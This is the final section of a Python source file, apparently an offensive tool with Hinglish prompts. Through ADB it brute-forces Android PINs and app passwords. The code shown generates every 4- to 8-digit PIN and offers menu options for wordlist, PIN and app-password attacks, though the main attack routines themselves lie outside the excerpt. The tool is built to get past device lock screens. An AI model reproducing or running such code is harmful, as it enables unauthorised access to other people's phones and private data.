print(f"\n {DYLW}[!] Note: Ye option file IGNORE karta hai -")
print(f" {DYLW} {total:,} sab combinations try honge (0000... se).{R}")
print(f" {DYLW} Apni FILE se attack = Option {SAFF}{B}1 (WORDLIST ATTACK){R}")
confirm = safe_input(f"\n {SAFF}{B}[?] Phir bhi start kare? (y/n):{R} ").strip().lower()
if confirm != "y":
print(f"\n {DYLW}[!] Cancel.{R}")
return
save_path = ask_save_path()
pw_list = [str(i).zfill(n) for i in range(total)]
start_attack(pw_list, save_path)
def main():
os.system("")
header()
show_instructions()
if not find_adb():
print(f" {RED}[X] ADB nahi mila! Platform-tools ka path check karo.{R}\n")
sys.exit(1)
else:
get_screen_size()
time.sleep(1)
while True:
choice = menu()
if choice == "0":
print(f"\n {SAFF}{B}[*] Bye! - {AUTHOR} | {GITHUB}{R}\n")
sys.exit(0)
elif choice == "1":
wordlist_attack()
safe_input(f" {DIM}[*] Menu par wapas jaane ke liye ENTER dabao...{R}")
header()
show_instructions()
elif choice in ("2", "3", "4", "5"):
n = {"2": 4, "3": 5, "4": 6, "5": 8}[choice]
pin_attack(n)
safe_input(f" {DIM}[*] Menu par wapas jaane ke liye ENTER dabao...{R}")
header()
show_instructions()
elif choice == "6":
header()
screen_test()
header()
show_instructions()
elif choice == "7":
header()
app_screen_test()
header()
show_instructions()
elif choice == "8":
app_pass_attack()
safe_input(f" {DIM}[*] Menu par wapas jaane ke liye ENTER dabao...{R}")
header()
show_instructions()
elif choice == "9":
print(f"\n {SAFF}[*] GitHub account khul raha hai...{R}")
webbrowser.open(GITHUB)
safe_input(f" {DIM}[*] Wapas aane ke liye ENTER dabao...{R}")
header()
show_instructions()
else:
print(f"\n {DYLW}[!] Galat option! Dobara select karo.{R}\n")
time.sleep(1)
header()
show_instructions()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print(f"\n\n {DYLW}[!] Tool band kiya gaya. Bye! - {AUTHOR}{R}\n")
sys.exit(0)